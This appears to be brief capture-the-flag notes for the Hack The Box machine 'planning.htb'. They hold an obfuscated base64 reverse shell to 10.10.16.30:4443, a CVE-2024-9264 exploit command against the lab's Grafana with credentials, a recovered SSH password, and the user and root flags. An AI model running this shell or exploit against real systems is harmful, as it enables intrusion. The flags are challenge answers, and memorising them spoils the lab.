planning.htb

(Updated: )
Sec
,

base64

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zMC80NDQzIDA+JjE=

bash -c ‘{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zMC80NDQzIDA+JjE=}|{base64,-d}|{bash,-i}’

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zMC80NDQzIDA+JjE= | base64 -d | bash’

uv run CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c ‘echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zMC80NDQzIDA+JjE= | base64 -d | bash’ http://grafana.planning.htb/

env 获取passwd，username

RioTecRANDEntANT!

enzo

ssh enzo@planning.htb

user.txt
c5edef7a894239d2bb48415661e20b32
root.txt
2463aa9b7a928bcdc33223fb8c9ca74a